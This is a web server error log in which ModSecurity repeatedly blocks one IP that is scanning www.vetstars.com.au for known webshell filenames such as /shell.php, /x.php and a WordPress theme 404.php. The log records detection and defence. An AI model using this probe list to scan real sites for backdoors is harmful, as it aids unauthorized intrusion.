[Fri Jan 02 20:39:00.122610 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:17424] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aVe8ZMez9k78gUs48kpWcwAAAAE"]
[Fri Jan 02 20:39:00.454621 2026] [:error] [pid 63098:tid 63118] [client 4.189.161.129:41492] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aVe8ZMez9k78gUs48kpWdAAAAAs"]
[Fri Jan 02 20:39:00.791962 2026] [:error] [pid 29316:tid 29333] [client 4.189.161.129:45603] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aVe8ZNfT9ty-7jZmgf-phwAAAQ8"]
[Fri Jan 02 20:39:01.390317 2026] [:error] [pid 63099:tid 63156] [client 4.189.161.129:46866] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aVe8ZcmCZokRPYUhzvi5LgAAAFY"]
[Fri Jan 02 20:39:01.762663 2026] [:error] [pid 63099:tid 63148] [client 4.189.161.129:60610] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aVe8ZcmCZokRPYUhzvi5LwAAAE4"]
[Fri Jan 02 20:39:02.060803 2026] [:error] [pid 43358:tid 43380] [client 4.189.161.129:57746] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aVe8ZgncbHK9auzvrA9SvQAAAdQ"]
[Fri Jan 02 20:39:02.689143 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:57782] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aVe8Zsez9k78gUs48kpWdgAAAA4"]
[Fri Jan 02 20:39:03.450479 2026] [:error] [pid 43358:tid 43373] [client 4.189.161.129:46877] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aVe8ZwncbHK9auzvrA9SvgAAAc0"]
[Fri Jan 02 20:39:03.958309 2026] [:error] [pid 63099:tid 63147] [client 4.189.161.129:17426] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aVe8Z8mCZokRPYUhzvi5MgAAAE0"]
[Fri Jan 02 20:39:04.409784 2026] [:error] [pid 63099:tid 63146] [client 4.189.161.129:41475] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aVe8aMmCZokRPYUhzvi5NAAAAEw"]
[Fri Jan 02 20:39:04.747668 2026] [:error] [pid 63099:tid 63142] [client 4.189.161.129:45601] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aVe8aMmCZokRPYUhzvi5NgAAAEg"]
[Fri Jan 02 20:39:05.079770 2026] [:error] [pid 63099:tid 63150] [client 4.189.161.129:17440] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aVe8acmCZokRPYUhzvi5OAAAAFA"]
[Fri Jan 02 20:39:05.485112 2026] [:error] [pid 63099:tid 63140] [client 4.189.161.129:41484] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aVe8acmCZokRPYUhzvi5OwAAAEY"]
[Fri Jan 02 20:39:06.040778 2026] [:error] [pid 43358:tid 43374] [client 4.189.161.129:45593] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aVe8agncbHK9auzvrA9SwgAAAc4"]
[Fri Jan 02 20:39:06.429945 2026] [:error] [pid 63098:tid 63120] [client 4.189.161.129:17469] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aVe8asez9k78gUs48kpWeQAAAA0"]
[Fri Jan 02 20:39:06.918882 2026] [:error] [pid 29316:tid 29326] [client 4.189.161.129:13922] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aVe8atfT9ty-7jZmgf-pjgAAAQg"]
[Fri Jan 02 20:39:07.284591 2026] [:error] [pid 63208:tid 63226] [client 4.189.161.129:57740] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aVe8a3KLI9INGPLzfndD8AAAAM8"]
[Fri Jan 02 20:39:07.638931 2026] [:error] [pid 29316:tid 29322] [client 4.189.161.129:60634] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aVe8a9fT9ty-7jZmgf-pjwAAAQQ"]
[Fri Jan 02 20:39:08.039666 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:13893] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aVe8bMez9k78gUs48kpWfQAAAAg"]
[Fri Jan 02 20:39:08.396863 2026] [:error] [pid 63098:tid 63109] [client 4.189.161.129:17432] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aVe8bMez9k78gUs48kpWfgAAAAI"]
[Fri Jan 02 20:39:08.902140 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:13925] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aVe8bMez9k78gUs48kpWgAAAAAE"]
[Fri Jan 02 20:39:09.320038 2026] [:error] [pid 63099:tid 63146] [client 4.189.161.129:17433] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aVe8bcmCZokRPYUhzvi5QgAAAEw"]
[Fri Jan 02 20:39:09.657981 2026] [:error] [pid 50046:tid 50065] [client 4.189.161.129:57757] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aVe8bSzv7fgIiwkQYNCq6AAAAVE"]
[Fri Jan 02 20:39:10.232859 2026] [:error] [pid 43358:tid 43384] [client 4.189.161.129:17467] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aVe8bgncbHK9auzvrA9SyAAAAdg"]
[Fri Jan 02 20:39:10.599270 2026] [:error] [pid 63208:tid 63214] [client 4.189.161.129:41506] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aVe8bnKLI9INGPLzfndD8gAAAMM"]
[Fri Jan 02 20:39:10.937246 2026] [:error] [pid 63100:tid 63169] [client 4.189.161.129:13891] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aVe8bjuUXUKd3KTnKl9KswAAAIg"]
[Fri Jan 02 20:39:11.220494 2026] [:error] [pid 29316:tid 29328] [client 4.189.161.129:17412] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aVe8b9fT9ty-7jZmgf-plQAAAQo"]
[Fri Jan 02 20:39:11.579409 2026] [:error] [pid 50046:tid 50067] [client 4.189.161.129:57779] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aVe8byzv7fgIiwkQYNCq6gAAAVM"]
[Fri Jan 02 20:39:12.088425 2026] [:error] [pid 29316:tid 29333] [client 4.189.161.129:57764] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aVe8cNfT9ty-7jZmgf-plwAAAQ8"]
[Fri Jan 02 20:39:12.555813 2026] [:error] [pid 63099:tid 63145] [client 4.189.161.129:46859] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aVe8cMmCZokRPYUhzvi5RQAAAEs"]
[Fri Jan 02 20:39:12.910582 2026] [:error] [pid 50046:tid 50063] [client 4.189.161.129:60655] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aVe8cCzv7fgIiwkQYNCq7AAAAU8"]
[Fri Jan 02 20:39:13.219057 2026] [:error] [pid 50046:tid 50051] [client 4.189.161.129:60643] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aVe8cSzv7fgIiwkQYNCq7QAAAUM"]
[Fri Jan 02 20:39:13.579013 2026] [:error] [pid 29316:tid 29337] [client 4.189.161.129:45575] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aVe8cdfT9ty-7jZmgf-pmQAAARM"]
[Fri Jan 02 20:39:13.952284 2026] [:error] [pid 29316:tid 29334] [client 4.189.161.129:60609] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aVe8cdfT9ty-7jZmgf-pmgAAARA"]
[Fri Jan 02 20:39:14.230159 2026] [:error] [pid 63100:tid 63171] [client 4.189.161.129:13936] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aVe8cjuUXUKd3KTnKl9KtwAAAIo"]
[Fri Jan 02 20:39:14.561443 2026] [:error] [pid 43358:tid 43380] [client 4.189.161.129:17417] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVe8cgncbHK9auzvrA9SzgAAAdQ"]
[Fri Jan 02 20:39:15.053289 2026] [:error] [pid 43358:tid 43360] [client 4.189.161.129:60651] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVe8cwncbHK9auzvrA9SzwAAAcA"]
[Fri Jan 02 20:39:15.380716 2026] [:error] [pid 63099:tid 63156] [client 4.189.161.129:57735] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVe8c8mCZokRPYUhzvi5SwAAAFY"]
[Fri Jan 02 20:39:15.795927 2026] [:error] [pid 29316:tid 29327] [client 4.189.161.129:17463] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVe8c9fT9ty-7jZmgf-pmwAAAQk"]
[Fri Jan 02 20:39:16.089846 2026] [:error] [pid 50046:tid 50052] [client 4.189.161.129:46875] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aVe8dCzv7fgIiwkQYNCq8gAAAUQ"]
[Fri Jan 02 20:39:16.440304 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:17448] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aVe8dMez9k78gUs48kpWjAAAAAg"]
[Fri Jan 02 20:39:16.693993 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:60633] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aVe8dMez9k78gUs48kpWjgAAAAE"]
[Fri Jan 02 20:39:17.017602 2026] [:error] [pid 63098:tid 63131] [client 4.189.161.129:13890] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aVe8dcez9k78gUs48kpWjwAAABg"]
[Fri Jan 02 20:39:17.396910 2026] [:error] [pid 63099:tid 63148] [client 4.189.161.129:57788] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aVe8dcmCZokRPYUhzvi5TAAAAE4"]
[Fri Jan 02 20:39:17.669858 2026] [:error] [pid 63098:tid 63107] [client 4.189.161.129:13934] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aVe8dcez9k78gUs48kpWkQAAAAA"]
[Fri Jan 02 20:39:17.981383 2026] [:error] [pid 63208:tid 63231] [client 4.189.161.129:57741] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aVe8dXKLI9INGPLzfndD-wAAANQ"]
[Fri Jan 02 20:39:18.598649 2026] [:error] [pid 43358:tid 43365] [client 4.189.161.129:17410] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aVe8dgncbHK9auzvrA9S0gAAAcU"]
[Fri Jan 02 20:39:19.178033 2026] [:error] [pid 63099:tid 63143] [client 4.189.161.129:41502] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwq.php"] [unique_id "aVe8d8mCZokRPYUhzvi5TQAAAEk"]
[Fri Jan 02 20:39:19.456689 2026] [:error] [pid 63099:tid 63153] [client 4.189.161.129:41478] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwq.php"] [unique_id "aVe8d8mCZokRPYUhzvi5TwAAAFM"]
[Fri Jan 02 20:39:19.711031 2026] [:error] [pid 29316:tid 29322] [client 4.189.161.129:13909] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwq.php"] [unique_id "aVe8d9fT9ty-7jZmgf-pogAAAQQ"]
[Fri Jan 02 20:39:20.175423 2026] [:error] [pid 63099:tid 63147] [client 4.189.161.129:60658] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwq.php"] [unique_id "aVe8eMmCZokRPYUhzvi5UAAAAE0"]
[Fri Jan 02 20:39:20.523065 2026] [:error] [pid 63208:tid 63227] [client 4.189.161.129:45591] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aVe8eHKLI9INGPLzfndD_AAAANA"]
[Fri Jan 02 20:39:20.891871 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:45624] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aVe8eMez9k78gUs48kpWlQAAAAw"]
[Fri Jan 02 20:39:21.199610 2026] [:error] [pid 63099:tid 63151] [client 4.189.161.129:60619] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aVe8ecmCZokRPYUhzvi5UgAAAFE"]
[Fri Jan 02 20:39:21.566057 2026] [:error] [pid 63100:tid 63183] [client 4.189.161.129:13905] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aVe8eTuUXUKd3KTnKl9KuwAAAJY"]
[Fri Jan 02 20:39:21.969726 2026] [:error] [pid 63208:tid 63235] [client 4.189.161.129:13933] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aVe8eXKLI9INGPLzfndD_wAAANg"]
